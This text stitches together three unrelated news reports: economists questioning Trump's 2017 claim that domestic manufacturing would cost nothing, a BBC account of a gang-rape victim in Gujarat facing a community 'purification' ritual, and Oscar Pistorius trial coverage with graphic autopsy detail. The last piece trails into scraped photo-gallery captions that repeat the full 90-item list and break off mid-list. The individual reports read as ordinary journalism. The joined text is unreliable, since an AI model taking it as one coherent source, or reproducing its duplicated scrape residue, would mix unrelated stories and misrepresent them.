-President Trump told leaders of companies ranging from Lockheed Martin Corp. to Under Armour that he believes his administration can cut regulations governing companies by 75 percent or more, at a meeting on Jan. 23 at the White House. (Reuters)  On Monday morning, President Trump met with business leaders to present a plan for keeping jobs in the United States. He offered a carrot — a dramatic cut in taxes and regulations — as well as a stick — a substantial tax on companies that decide to send their factories offshore.  Whether companies follow suit will depend on how they weigh the benefits Trump is offering with the potential higher costs of keeping production in the United States. But in Trump’s statements, he claimed that the move would have no cost at all — a statement that rankled some economists.  “There will be advantages to companies that do indeed make their products here,” Trump said. “And I've always said, by the time you put them in these massive ships or airplanes and fly them and — I think it's gonna be cheaper.”  Economists disagreed. Although some said the policy could benefit some American workers by creating jobs and in turn expanding the U.S. economy, most said it would also impose a greater cost on companies, who would in turn pass those costs on to consumers. Either consumers would buy goods made in the United States, which would be more expensive because of the higher cost of American wages, or they would buy foreign goods that would be pricier because they had been subject to an additional tax.  “Companies of course have these international supply chains because it makes it cheaper for them to produce their products. So almost inevitably, if you don’t let them do that, their products will become more expensive for consumers,” said Stan Veuger, a resident scholar at the American Enterprise Institute. “For sure it’s going to increase prices.”  Just how much prices would increase if more goods are made in the United States is unclear, but it could be substantial. Research firm IHS Technology has estimated that producing an iPhone domestically might inflate its price tag to as much as $2,000. As Business Insider has pointed out, U.S.-made jeans by Levi and JCrew range from 40 to 170 percent more than foreign-made styles. The same is true of a variety of products, including shoes and solar panels.  The ultimate price increase would probably be determined by two factors, economists said. One is how much the high cost of U.S. wages would factor into the goods' final price. For some products that require a lot of human labor — such as clothing or shoes — the cost of worker wages represents a big chunk of the final price. For others, it’s less significant.  FROM LEFT: Corning chief executive Wendell Weeks, President Trump, Johnson & Johnson chief executive Alex Gorsky and Dell chief executive Michael Dell during a meeting at the White House on Jan. 23. (Kevin Lamarque/Reuters)  The other factor is the likelihood that a worker in any given industry would be replaced by a robot. Some jobs, for example auto manufacturing, can be automated more easily. Economists like Chad Bown of the Peterson Institute for International Economics said that if companies are forced to bring facilities back to the United States, we're likely to see much more automation.  “If [manufacturers] can’t lower costs by producing in other countries, they’ll lower their costs by producing with fewer workers, figuring out ways to automate the making of their products,” Bown said.  Companies that can automate might be able to keep costs low even if they bring facilities back to the United States, Bown said. But in that case, the ultimate benefit for U.S. workers might be negligible.  For Veuger and Bown, these dynamics create a paradox at the heart of Trump's job plan. If more products are made by U.S. workers, prices will rise for American consumers. If prices don't rise for American consumers, it's because the products are being made not by American workers, but by robots.  “If we’re worried about the manufacturing blue collar worker that’s noneducated, this does nothing to help them. … So no, I don’t see any benefits. I would much prefer to directly attack the problems facing those workers,” Bown said.  Not all economists agree. William Spriggs, chief economist at the AFL-CIO, said that of course manufacturing jobs that return to American shores would be less labor intensive — but that would be a good thing, because working conditions in places like China are too inferior to U.S. standards.  “I would want it to be automated and high productivity work with high wages,” he said. Offshoring did have a substantial effect on undermining the manufacturing industry in the past two decades, and coaxing production back could help reverse that, Spriggs said.  Economists also widely disagreed with Trump’s claim that the greater cost of manufacturing in the United States would be offset by lower costs for transporting products by ship or airplane around the world. “If that were the case, then they would already be produced in the U.S.,” Veuger said. “Presumably, companies realize that they are paying transportation costs when they bring stuff in from abroad.”  While shipping costs are substantial for some heavier items like steel, for many consumer products, transportation costs make up a far smaller percentage of the final cost than worker wages. Veuger pointed to the example of the Trump apparel collection, much of which was made elsewhere and imported: “[Trump] himself imports his ties from China. Presumably if the transportation costs were such a big deal, he’d make them in Wisconsin.”  See also:  The serious contradiction in Trump’s views on the dollar  Why Trump’s trade plan could be a tax on the poor  Conservatives really are better looking, research says
-Image caption The mother of two was gang raped for months  A woman who was gang raped for eight months in Gujarat, western India, is now not only pregnant as a result, but has been ordered to face "purification tests" by her community's local courts. The BBC's Ankur Jain reports on what this gruelling ritual will entail and why it is still endured.  The shy, softly spoken 23-year-old - who cannot be named for legal reasons - was living happily with her husband and two children in Surat when she was abducted last July and repeatedly gang raped by more than five men over several months.  She is now heavily pregnant and her petition for abortion was turned down by the Gujarat High Court because she was too advanced in her pregnancy.  Now, staying in a two-room house in Devaliya village, Ranpur Taluka, Gujarat, she spends her time with her two children. Her in-laws refuse to take her back and her husband has left his parents to be with her. But she spends all her time with the children, snuggling them and holding them tight.  And while her own parents are glad to have her back, they are concerned that the baby she is soon to give birth to will affect the rest of the family.  "I have two other children both unmarried. If she delivers the baby and keeps it then no one will marry them," explained her mother. "My 14-year-old son will get cast out. The only way out is that she will have to undergo the 'chokha thavani viddhi' (purification ritual) and whatever the community decides will be final."  The role of barley seeds  Image caption Her mother wants her to undergo the ritual in order to rehabilitate the whole family  Such a ritual is limited to the villages of Gujarat's Devipujak community, to which the victim belongs.  The Devipujak group follows a strong caste and religious system and has its own community courts which decide on various matters including infidelity and rape.  It is not clear whether these hearings are condoned or condemned by the authorities, but they have never been investigated by the police.  An elder from the village, Odhabhai Devipujak, explained that a purification ritual is conducted by a tantric - a priest who practices black magic and believes in supernatural powers - and predates the existence of courts and police.  In the ritual, the tantric asks the girl several questions and then checks if she is telling the truth by taking a pinch of barley seeds from a bag and asking her to say whether the number of seeds in his hand are even-numbered or odd.  If the girl gets the answer wrong then the tantric assumes her answers have been lies.  She then has to repeat the process with a 10-kg stone on her head. She has to keep the stone on her head until the tantric is satisfied that she is telling the truth.  "Sometimes it takes months to purify as people lie initially but Goddess knows it all and finally they have to speak the truth," the elder said.  Cast out  "Once the girl is purified and passes the test no-one can point fingers or banish her and her family. But if the girl fails the test and Goddess says she is impure then she might get ostracised from the community," he said.  Image copyright AFP Image caption The Devipujak community is extremely religious  Sardarsinh Mori, a friend of the victim's family, said such tests were only carried out on women.  "Whenever a husband has doubt about his wife, or an unmarried girl is accused of an affair, to purify a woman and free her from the wrongdoings, a purification process is conducted. For men, the community courts conduct tests to check if they are telling lies but no purification is used," he explained.  The victim's husband, a cart-puller, said he would stand by her.  "I am going to be with her. I have two children and I can't marry again," he said.  The victim said part of her wanted to keep the unborn child, but her fate and the baby's was in the hands of 100-200 people taking part in the purification ritual.  "If I am wrong, the Goddess will tell them," she said.
-Oscar Pistorius repeatedly threw up into a bucket as his murder trial heard graphic evidence from the pathologist who performed the post-mortem on the body of his girlfriend Reeva Steenkamp.  Twice the sound of Pistorius’s vomiting caused events to be temporarily suspended during state pathologist Professor Saayman's testimony, as the smell of sick spread around Pretoria's High Court.  The autopsy revealed the 29-year old model was shot in the right hip, the right elbow, and the right temple from a 9mm pistol through a locked lavatory door.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  Prof Saayman suggested Ms Steenkamp would not have drawn breath for long after the final bullet hit her head.  The bullets that pierced her body were known as Black Talon. They are so devastating in their impact on human flesh that they were withdrawn in South Africa and later re-marketed as Ranger. The Black Talon was designed to "penetrate and then mushroom" on impact, causing extensive damage.  Prof Saayman also said that the vegetable matter food found in her stomach was likely to have been ingested within two hours of her death at 3am, which appears to contradict Pistorius’s claim that the couple went to bed at around 10pm.  He confirmed Ms Steenkamp was wearing a sleeveless black top and grey Nike shorts when she was shot.  Earlier, Judge Masipa ruled that Prof Saayman’s evidence should not be broadcast or tweeted, in accordance with the pathologist’s own wishes, as the athlete's murder trial entered its second week.  He had only been speaking for a matter of minutes when Pistorius's defence counsel Barry Roux requested court be adjourned because: "Mr Pistorius has been sick".  Both sets of lawyers had argued for the broadcast of proceedings to be suspended while the court heard what was expected to be "extremely graphic" testimony.  State prosecutor Gerrie Nel told the court that Prof Saayman had "ethical concerns" over broadcasting details of the autopsy. Mr Nel said reporting restrictions were needed to "respect the decency" of Ms Steenkamp, her family and friends.  Shape Created with Sketch. In pictures: Oscar Pistorius trial Show all 90 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. In pictures: Oscar Pistorius trial 1/90 Oscar Pistorius arrives at court Oscar Pistorius arrives at court prior to another day of cross examination during his ongoing murder trial in Pretoria 2/90 Oscar Pistorius arrives at court Oscar Pistorius is greeted by the "Support for Oscar" Facebook group members as he arrives at the Pretoria High Court 3/90 Prosecutor Gerrie Nel in court Prosecutor Gerrie Nel walks past a courtroom reconstruction of the toilet in which Reeva Steenkamp was shot and killed during Oscar Pistorius' murder trial at the high court in Pretoria 4/90 Prosecutor Gerrie Nel in court Prosecutor Gerrie Nel gestures as he explains a possible scenario into how Oscar Pistorius might have fired on girlfriend Reeva Steenkamp in court in Pretoria 5/90 The door through which Reeva Steenkamp was shot used as evidence in court The door through which Reeva Steenkamp was shot used as evidence and displayed during the Oscar Pistorius murder trial at the high court in Pretoria 6/90 Oscar Pistorius leaves court Oscar Pistorius leaves the high court in Pretoria 7/90 June Steenkamp in court June Steenkamp, mother of Reeva, is comforted by unidentified relative after her dead daughter's picture was shown on screen during the trial of Oscar Pistorius at the North Gauteng High Court in Pretoria 8/90 Aimee Pistorius and Lois Pistorius in court Sister of Oscar Pistorius, Aimee Pistorius (L) and aunt Lois Pistorius (R) listen as Oscar Pistorius testifies in court in Pretoria 9/90 Gina Myers in court Gina Myers, Reeva Steenkamp's best friend, is overcome with emotion as she listens to Oscar Pistorius' testimony in the Pretoria High Court 10/90 Aimee Pistorius cries in court Aimee Pistorius (R), sister of Oscar Pistorius, cries as she hears her brother tell his story of the events on the night he killed Reeva Steenkamp during his ongoing murder trial in Pretoria 11/90 June Steenkamp in court June Steenkamp hides her face as she listens to Oscar Pistorius' testimony in the Pretoria High Court 12/90 Arnold and Lois Pistorius cry in court Arnold and Lois Pistorius overcome with emotion as they listen to their nephew Oscar's testimony in the Pretoria High Court 13/90 Oscar Pistorius in court Oscar Pistorius reacts as he listens to evidence by a pathologist during his trial in court in Pretoria 14/90 Oscar Pistorius in court Oscar Pistorius reacts during his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 15/90 Gerrie Nel speaks in court State Prosecutor Gerrie Nel speaks as he cross-examines the pathologist during the trial of Oscar Pistorius in court in Pretoria 16/90 Oscar Pistorius in court Oscar Pistorius puts his hands to his head while he sits during his trial at the North Gauteng High Court in Pretoria 17/90 Oscar Pistorius in court Oscar Pistorius reacts during his trial at the North Gauteng High Court in Pretoria 18/90 Oscar Pistorius speaks with relative Oscar Pistorius speaks with a family member during his trial in Court in Pretoria 19/90 Aimee Pistorius in court Aimee, sister of Oscar Pistorius, cries as her brother takes the stand to testify at the high court in Pretoria 20/90 Carl Pistorius in court Oscar Pistorius' brother Carl Pistorius reacts during Oscar's trial at the high court in Pretoria 21/90 June Steenkamp in court June Steenkamp, mother of the late Reeva Steenkamp listens to evidence by a pathologist during the murder trial of Oscar Pistorius in court in Pretoria 22/90 Arnold Pistorius and Lois Pistorius in court Uncle Arnold Pistorius and aunt Lois Pistorius look on during the murder trial of Oscar Pistorius at the high court in Pretoria 23/90 Oscar Pistorius in court Oscar Pistorius cries as he sits in the dock during his ongoing murder trial in Pretoria 24/90 Oscar Pistorius in court Oscar Pistorius sheds tears as he sits in the dock during his ongoing murder trial in Pretoria 25/90 Oscar Pistorius in court Oscar Pistorius shedding tears as he sits in the dock during his ongoing murder trial in Pretoria 26/90 Oscar Pistorius in court Oscar Pistorius sits in the dock during his murder trial at the high court in Pretoria 27/90 Oscar Pistorius in court Oscar Pistorius makes his way to the dock during his ongoing murder trial in Pretoria 28/90 Kenny Oldwage questions a witness Kenny Oldwage a member of South African Paralympic athlete Oscar Pistorius' legal team questions a state witness during the ongoing murder trial in Pretoria 29/90 Hilton Botha arrives in court Hilton Botha, former lead detective in the Oscar Pistorius murder case, arrives ahead of Pistorius's trial at the North Gauteng High Court in Pretoria 30/90 A member of the African National Congress Women's League outside the court A member of the African National Congress Women's League holds a mobile phone with a picture of Reeva Steenkamp outside the high court in Pretoria 31/90 Pistorius cries during his trial Oscar Pistorius cries during his trial at the North Gauteng High Court, Pretoria 32/90 Pistorius is comforted by relatives Oscar Pistorius is comforted by relatives as he sits in the dock during court proceedings at the North Gauteng High Court in Pretoria 33/90 Pistorius is comforted by relatives Oscar Pistorius is hugged by his aunt Lois in the North Gauteng High Court in Pretoria 34/90 Pistorius in the dock Oscar Pistorius holds his head in his hands in the dock during cross examination of a witnesses in court in Pretoria 35/90 Pistorius leaves court Oscar Pistorius is photographed as he leaves at the end of his trial for the murder of his girlfriend Reeva Steenkamp, at the North Gauteng High Court in Pretoria 36/90 Oscar Pistorius and Aimee Pistorius Oscar Pistorius with his sister Aimee Pistorius during the murder trial at the high court in Pretoria 37/90 Photographs of Pistorius taken after the shooting Pistorius from the waist up, with a tattoo visible on his back, and blood on his left arm 38/90 Photographs of Pistorius taken after the shooting Photographs of Pistorius taken soon after fatal shooting of Reeva Steenkamp were shown in court. The athlete's prosthetic legs are splattered with blood 39/90 Pistorius' watch collection with blood marks on it A photograph of Pistorius' watch collection with blood marks on it. One of the watches went missing the night police searched the house after Reeva Steenkamp was shot on Valentine's Day. 40/90 Pistorius's bedroom with the duvet on the floor A close up of Pistorius's bedroom, with the duvet on the floor. Pistorius argues he woke up to bring a fan from his balcony when he heard noises coming the bathroom 41/90 Pistorius covers his head with a notebook as he listens to forensic evidence Oscar Pistorius covers his head with a notebook as he listens to forensic evidence during his trial in court in Pretoria 42/90 Pistorius puts his hands to his head while he sits in court Oscar Pistorius puts his hands to his head as he listens to forensic evidence during his trial in court in Pretoria 43/90 Pistorius reacts while listening evidence in court Oscar Pistorius reacts during his murder trial at the North Gauteng High Court in Pretoria 44/90 Pistorius places his head in his hands Oscar Pistorius places his head in his hands as he listens to the cross examination during his trial in court in Pretoria 45/90 Pistorius during his continuous trial Oscar Pistorius sits in the dock during his murder trial at the North Gauteng High Court in Pretoria 46/90 Lt Col JG Vermeulen demonstrates the effect of hitting of a bathroom door Lt Col JG Vermeulen demonstrates the effect of hitting of a bathroom door with a cricket bat during the trail of Oscar Pistorius in the North Gauteng High Court in Pretoria 47/90 Lt Col JG Vermeulen recreates a possible scenario at Oscar Pistorius home Lt Col JG Vermeulen recreates a possible scenario at Oscar Pistorius home when he shot his girlfriend Reeva Steenkamp 48/90 Pistorius's defence team questions forensic evidence Pistorius's defence team questions forensic evidence suggesting the athlete was wearing his prosthetic legs when he hit the lavatory's door with a cricket bat 49/90 State prosecutor Gerrie Nel speaks in court State prosecutor Gerrie Nel makes a point during the trial of Oscar Pistorius at the North Gauteng High Court in Pretoria 50/90 Pistorius speaks with his legal team Oscar Pistorius speaks with a member of his legal team prior to a hearing of his trial at the North Gauteng High Court in Pretoria 51/90 Pistorius sits in court Oscar Pistorius sits with hands on his head at the court dock during the ongoing murder trial at the North Gauteng High Court in Pretoria 52/90 Pistorius in court during ongoing trial Oscar Pistorius sits in the dock on another day of his trial at the North Gauteng High Court in Pretoria 53/90 State prosecutor Gerrie Nel in court State prosecutor Gerrie Nel takes part in Oscar Pistorius' ongoing murder trial at the North Gauteng High Court in Pretoria 54/90 Pistorius arrives in court The accused arrives at the Pretoria High Court in Pretoria 55/90 Pistorius cries in court Oscar Pistorius cries as he listens to cross questioning about the events surrounding the shooting death of his girlfriend Reeva Steenkamp, in court during his trial in Pretoria 56/90 Pistorius cries in court Oscar Pistorius cries as he chats to his lawyer Barry Roux during his trial for the murder of his girlfriend Reeva Steenkamp, at the North Gauteng High Court in Pretoria 57/90 Pistorius on the sixth day of his trial Oscar Pistorius holds his hands to his face as he sits in the dock during day 6 of his murder trial at the High Court in Pretoria 58/90 Pistorius sits in court Oscar Pistorius is pictured with hands on his head during a hearing on the sixth day of his murder trial 59/90 Relatives of Reeva Steenkamp in court Relatives and friends of Reeva Steenkamp, Gina Meyers (C) and her mother Desiree (R) attend a hearing of Oscar Pistorius on the sixth day of his trial 60/90 Pistorius arrives in court Oscar Pistorius arrives at the Pretoria High Court in Pretoria 61/90 Security guard Pieter Baba testifies Security guard Pieter Baba testifies the murder trial of South African Paralympic star Oscar Pistorius at the high court of Pretoria 62/90 Pistorius family in court Aimee Pistorius, sister of Olympic and Paralympic track star Oscar, rests her head on an unidentified woman's shoulder during the fifth day of his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 63/90 Oscar Pistorius listens as witness testifies Oscar Pistorius puts his hands to his head while a witness testifies and speaks about the morning of the shooting of his girlfriend Reeva Steenkamp 64/90 Oscar Pistorius cries Oscar Pistorius cries while a witness testifies during the fourth day of his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 65/90 Oscar Pistorius looks at notes Oscar Pistorius looks at notes during the fourth day of his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 66/90 Oscar Pistorius on the second day of his trial Covering his ears, on empty benches, Oscar Pistoius gestures after arriving at the North Gauteng High Court in Pretoria 67/90 Oscar Pistorius reads defense paperwork Oscar Pistorius looks at his defense team paperwork during a break on the second day of his trial at the North Gauteng High Court in Pretoria 68/90 Members of the media during the trial Members of the media work during a break in proceedings on the second day of the murder trial of South African Paralympic athlete Oscar Pistorius at the North Gauteng High Court in Pretoria 69/90 Oscar Pistorius during trial Oscar Pistorius looks on inside the Pretoria High Court 70/90 Chief investigating officer Lieutenant General Vineshkumar Moonoo during the trial Chief investigating officer Lieutenant General Vineshkumar Moonoo gestures during the second day of the murder trial of South African Paralympic athlete Oscar Pistorius at the North Gauteng High Court in Pretoria 71/90 Oscar Pistorius leaves court Oscar Pistorius leaves North Gauteng High Court during the lunchtime break as he faces trial accused of the murder of his girlfriend Reeva Steenkamp in Pretoria 72/90 Oscar Pistorius in court Oscar Pistorius at the Pretoria High Court in Pretoria 73/90 Oscar Pistorius and Barry Roux in court Oscar Pistorius and Barry Roux at the Pretoria High Court in Pretoria 74/90 Advocate Barry Roux speaks in court Advocate Barry Roux at the Pretoria High Court in Pretoria 75/90 Oscar Pistorius in court Oscar Pistorius at the Pretoria High Court in Pretoria 76/90 Oscar Pistorius in court Oscar Pistorius walks at the Pretoria High Court as Reeva Steenkamp's mother looks on 77/90 June Steenkamp in court Reeva Steenkamp's mother looks on inside the Pretoria High Court 78/90 Lois, Arnold and Aimee Pistorius in court Lois, Arnold and Aimee Pistorius at the Pretoria High Court in Pretoria 79/90 Carl, Aimee and Lois Pistorius in court Carl, Aimee and Lois Pistorius speaking with a member of his legal team at the Pretoria High Court in Pretoria 80/90 Carl Pistorious in court Carl Pistorious, the brother of South African Paralympic athlete Oscar Pistorius, leaves the courtroom during a lunch recess at the High Court in Pretoria 81/90 Prosecutor Gerrie Nel Prosecutor Gerrie Nel reads out the charges on the opening day of proceedings in the High Court in Pretoria 82/90 Pretoria news A newspaper vendor sells the Pretoria News as the Oscar Pistorius trail starts at North Gauteng High Court in Pretoria. Olympic and Paralympic athlete Oscar Pistorius is accused of murdering his girlfriend Reeva Steenkamp. Pistorius denies the allegation claiming he mistook Steenkamp for an intruder inside their home on Valentines Day 2013 83/90 June Steenkamp in court June Steenkamp (L), mother of the murdered Reeva Steenkamp, sits in court ahead of the trial of Olympic and Paralympic track star Oscar Pistorius at the North Gauteng High Court in Pretoria 84/90 June Steenkamp arrives in court June Steenkamp (C), the mother of Reeva Steenkamp, arrives at North Gauteng High Court for the trial of Oscar Pistorius in Pretoria 85/90 June Steenkamp arrives in court June Steenkamp (R), the mother of Reeva Steenkamp, arrives at North Gauteng High Court for the trial of Oscar Pistorius in Pretoria 86/90 Carl Pistorius arrives in court Police try to hold back the media as Carl Pistorius, the brother of Oscar Pistorius, arrives at North Gauteng High Court in Pretoria 87/90 Media outside the court in Pretoria Bewildered media stand outside North Gauteng High Court as Oscar Pistrious slips into court through another door to face trial accused of the murder of his girlfriend Reeva Steenkamp in Pretoria 88/90 Daily News front page day after the shooting Oscar Pistorius was arrested in South Africa in the shooting of Reeva Steenkamp 89/90 Oscar Pistorius and Reeva Steenkamp Oscar Pistorius and Reeva Steenkamp at the Feather Awards in 2012 in Johannesburg 90/90 Reeva Steenkamp Reeva Steenkamp who was shot dead on the Valentine's Day 2013 1/90 Oscar Pistorius arrives at court Oscar Pistorius arrives at court prior to another day of cross examination during his ongoing murder trial in Pretoria 2/90 Oscar Pistorius arrives at court Oscar Pistorius is greeted by the "Support for Oscar" Facebook group members as he arrives at the Pretoria High Court 3/90 Prosecutor Gerrie Nel in court Prosecutor Gerrie Nel walks past a courtroom reconstruction of the toilet in which Reeva Steenkamp was shot and killed during Oscar Pistorius' murder trial at the high court in Pretoria 4/90 Prosecutor Gerrie Nel in court Prosecutor Gerrie Nel gestures as he explains a possible scenario into how Oscar Pistorius might have fired on girlfriend Reeva Steenkamp in court in Pretoria 5/90 The door through which Reeva Steenkamp was shot used as evidence in court The door through which Reeva Steenkamp was shot used as evidence and displayed during the Oscar Pistorius murder trial at the high court in Pretoria 6/90 Oscar Pistorius leaves court Oscar Pistorius leaves the high court in Pretoria 7/90 June Steenkamp in court June Steenkamp, mother of Reeva, is comforted by unidentified relative after her dead daughter's picture was shown on screen during the trial of Oscar Pistorius at the North Gauteng High Court in Pretoria 8/90 Aimee Pistorius and Lois Pistorius in court Sister of Oscar Pistorius, Aimee Pistorius (L) and aunt Lois Pistorius (R) listen as Oscar Pistorius testifies in court in Pretoria 9/90 Gina Myers in court Gina Myers, Reeva Steenkamp's best friend, is overcome with emotion as she listens to Oscar Pistorius' testimony in the Pretoria High Court 10/90 Aimee Pistorius cries in court Aimee Pistorius (R), sister of Oscar Pistorius, cries as she hears her brother tell his story of the events on the night he killed Reeva Steenkamp during his ongoing murder trial in Pretoria 11/90 June Steenkamp in court June Steenkamp hides her face as she listens to Oscar Pistorius' testimony in the Pretoria High Court 12/90 Arnold and Lois Pistorius cry in court Arnold and Lois Pistorius overcome with emotion as they listen to their nephew Oscar's testimony in the Pretoria High Court 13/90 Oscar Pistorius in court Oscar Pistorius reacts as he listens to evidence by a pathologist during his trial in court in Pretoria 14/90 Oscar Pistorius in court Oscar Pistorius reacts during his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 15/90 Gerrie Nel speaks in court State Prosecutor Gerrie Nel speaks as he cross-examines the pathologist during the trial of Oscar Pistorius in court in Pretoria 16/90 Oscar Pistorius in court Oscar Pistorius puts his hands to his head while he sits during his trial at the North Gauteng High Court in Pretoria 17/90 Oscar Pistorius in court Oscar Pistorius reacts during his trial at the North Gauteng High Court in Pretoria 18/90 Oscar Pistorius speaks with relative Oscar Pistorius speaks with a family member during his trial in Court in Pretoria 19/90 Aimee Pistorius in court Aimee, sister of Oscar Pistorius, cries as her brother takes the stand to testify at the high court in Pretoria 20/90 Carl Pistorius in court Oscar Pistorius' brother Carl Pistorius reacts during Oscar's trial at the high court in Pretoria 21/90 June Steenkamp in court June Steenkamp, mother of the late Reeva Steenkamp listens to evidence by a pathologist during the murder trial of Oscar Pistorius in court in Pretoria 22/90 Arnold Pistorius and Lois Pistorius in court Uncle Arnold Pistorius and aunt Lois Pistorius look on during the murder trial of Oscar Pistorius at the high court in Pretoria 23/90 Oscar Pistorius in court Oscar Pistorius cries as he sits in the dock during his ongoing murder trial in Pretoria 24/90 Oscar Pistorius in court Oscar Pistorius sheds tears as he sits in the dock during his ongoing murder trial in Pretoria 25/90 Oscar Pistorius in court Oscar Pistorius shedding tears as he sits in the dock during his ongoing murder trial in Pretoria 26/90 Oscar Pistorius in court Oscar Pistorius sits in the dock during his murder trial at the high court in Pretoria 27/90 Oscar Pistorius in court Oscar Pistorius makes his way to the dock during his ongoing murder trial in Pretoria 28/90 Kenny Oldwage questions a witness Kenny Oldwage a member of South African Paralympic athlete Oscar Pistorius' legal team questions a state witness during the ongoing murder trial in Pretoria 29/90 Hilton Botha arrives in court Hilton Botha, former lead detective in the Oscar Pistorius murder case, arrives ahead of Pistorius's trial at the North Gauteng High Court in Pretoria 30/90 A member of the African National Congress Women's League outside the court A member of the African National Congress Women's League holds a mobile phone with a picture of Reeva Steenkamp outside the high court in Pretoria 31/90 Pistorius cries during his trial Oscar Pistorius cries during his trial at the North Gauteng High Court, Pretoria 32/90 Pistorius is comforted by relatives Oscar Pistorius is comforted by relatives as he sits in the dock during court proceedings at the North Gauteng High Court in Pretoria 33/90 Pistorius is comforted by relatives Oscar Pistorius is hugged by his aunt Lois in the North Gauteng High Court in Pretoria 34/90 Pistorius in the dock Oscar Pistorius holds his head in his hands in the dock during cross examination of a witnesses in court in Pretoria 35/90 Pistorius leaves court Oscar Pistorius is photographed as he leaves at the end of his trial for the murder of his girlfriend Reeva Steenkamp, at the North Gauteng High Court in Pretoria 36/90 Oscar Pistorius and Aimee Pistorius Oscar Pistorius with his sister Aimee Pistorius during the murder trial at the high court in Pretoria 37/90 Photographs of Pistorius taken after the shooting Pistorius from the waist up, with a tattoo visible on his back, and blood on his left arm 38/90 Photographs of Pistorius taken after the shooting Photographs of Pistorius taken soon after fatal shooting of Reeva Steenkamp were shown in court. The athlete's prosthetic legs are splattered with blood 39/90 Pistorius' watch collection with blood marks on it A photograph of Pistorius' watch collection with blood marks on it. One of the watches went missing the night police searched the house after Reeva Steenkamp was shot on Valentine's Day. 40/90 Pistorius's bedroom with the duvet on the floor A close up of Pistorius's bedroom, with the duvet on the floor. Pistorius argues he woke up to bring a fan from his balcony when he heard noises coming the bathroom 41/90 Pistorius covers his head with a notebook as he listens to forensic evidence Oscar Pistorius covers his head with a notebook as he listens to forensic evidence during his trial in court in Pretoria 42/90 Pistorius puts his hands to his head while he sits in court Oscar Pistorius puts his hands to his head as he listens to forensic evidence during his trial in court in Pretoria 43/90 Pistorius reacts while listening evidence in court Oscar Pistorius reacts during his murder trial at the North Gauteng High Court in Pretoria 44/90 Pistorius places his head in his hands Oscar Pistorius places his head in his hands as he listens to the cross examination during his trial in court in Pretoria 45/90 Pistorius during his continuous trial Oscar Pistorius sits in the dock during his murder trial at the North Gauteng High Court in Pretoria 46/90 Lt Col JG Vermeulen demonstrates the effect of hitting of a bathroom door Lt Col JG Vermeulen demonstrates the effect of hitting of a bathroom door with a cricket bat during the trail of Oscar Pistorius in the North Gauteng High Court in Pretoria 47/90 Lt Col JG Vermeulen recreates a possible scenario at Oscar Pistorius home Lt Col JG Vermeulen recreates a possible scenario at Oscar Pistorius home when he shot his girlfriend Reeva Steenkamp 48/90 Pistorius's defence team questions forensic evidence Pistorius's defence team questions forensic evidence suggesting the athlete was wearing his prosthetic legs when he hit the lavatory's door with a cricket bat 49/90 State prosecutor Gerrie Nel speaks in court State prosecutor Gerrie Nel makes a point during the trial of Oscar Pistorius at the North Gauteng High Court in Pretoria 50/90 Pistorius speaks with his legal team Oscar Pistorius speaks with a member of his legal team prior to a hearing of his trial at the North Gauteng High Court in Pretoria 51/90 Pistorius sits in court Oscar Pistorius sits with hands on his head at the court dock during the ongoing murder trial at the North Gauteng High Court in Pretoria 52/90 Pistorius in court during ongoing trial Oscar Pistorius sits in the dock on another day of his trial at the North Gauteng High Court in Pretoria 53/90 State prosecutor Gerrie Nel in court State prosecutor Gerrie Nel takes part in Oscar Pistorius' ongoing murder trial at the North Gauteng High Court in Pretoria 54/90 Pistorius arrives in court The accused arrives at the Pretoria High Court in Pretoria 55/90 Pistorius cries in court Oscar Pistorius cries as he listens to cross questioning about the events surrounding the shooting death of his girlfriend Reeva Steenkamp, in court during his trial in Pretoria 56/90 Pistorius cries in court Oscar Pistorius cries as he chats to his lawyer Barry Roux during his trial for the murder of his girlfriend Reeva Steenkamp, at the North Gauteng High Court in Pretoria 57/90 Pistorius on the sixth day of his trial Oscar Pistorius holds his hands to his face as he sits in the dock during day 6 of his murder trial at the High Court in Pretoria 58/90 Pistorius sits in court Oscar Pistorius is pictured with hands on his head during a hearing on the sixth day of his murder trial 59/90 Relatives of Reeva Steenkamp in court Relatives and friends of Reeva Steenkamp, Gina Meyers (C) and her mother Desiree (R) attend a hearing of Oscar Pistorius on the sixth day of his trial 60/90 Pistorius arrives in court Oscar Pistorius arrives at the Pretoria High Court in Pretoria 61/90 Security guard Pieter Baba testifies Security guard Pieter Baba testifies the murder trial of South African Paralympic star Oscar Pistorius at the high court of Pretoria 62/90 Pistorius family in court Aimee Pistorius, sister of Olympic and Paralympic track star Oscar, rests her head on an unidentified woman's shoulder during the fifth day of his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 63/90 Oscar Pistorius listens as witness testifies Oscar Pistorius puts his hands to his head while a witness testifies and speaks about the morning of the shooting of his girlfriend Reeva Steenkamp 64/90 Oscar Pistorius cries Oscar Pistorius cries while a witness testifies during the fourth day of his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 65/90 Oscar Pistorius looks at notes Oscar Pistorius looks at notes during the fourth day of his trial for the murder of his girlfriend Reeva Steenkamp at the North Gauteng High Court in Pretoria 66/90 Oscar Pistorius on the second day of his trial Covering his ears, on empty benches, Oscar Pistoius gestures after arriving at the North Gauteng High Court in Pretoria 67/90 Oscar Pistorius reads defense paperwork Oscar Pistorius looks at his defense team paperwork during a break on the second day of his trial at the North Gauteng High Court in Pretoria 68/90 Members of the media during the trial Members of the media work during a break in proceedings on the second day of the murder trial of South African Paralympic athlete Oscar Pistorius at the North Gauteng High Court in Pretoria 69/90 Oscar Pistorius during trial Oscar Pistorius looks on inside the Pretoria High Court 70/90 Chief investigating officer Lieutenant General Vineshkumar Moonoo during the trial Chief investigating officer Lieutenant General Vineshkumar Moonoo gestures during the second day of the murder trial of South African Paralympic athlete Oscar Pistorius at the North Gauteng High Court in Pretoria 71/90 Oscar Pistorius leaves court Oscar Pistorius leaves North Gauteng High Court during the lunchtime break as he faces trial accused of the murder of his girlfriend Reeva Steenkamp in Pretoria 72/90 Oscar Pistorius in court Oscar Pistorius at the Pretoria High Court in Pretoria 73/90 Oscar Pistorius and Barry Roux in court Oscar Pistorius and Barry Roux at the Pretoria High Court in Pretoria 74/90 Advocate Barry Roux speaks in court 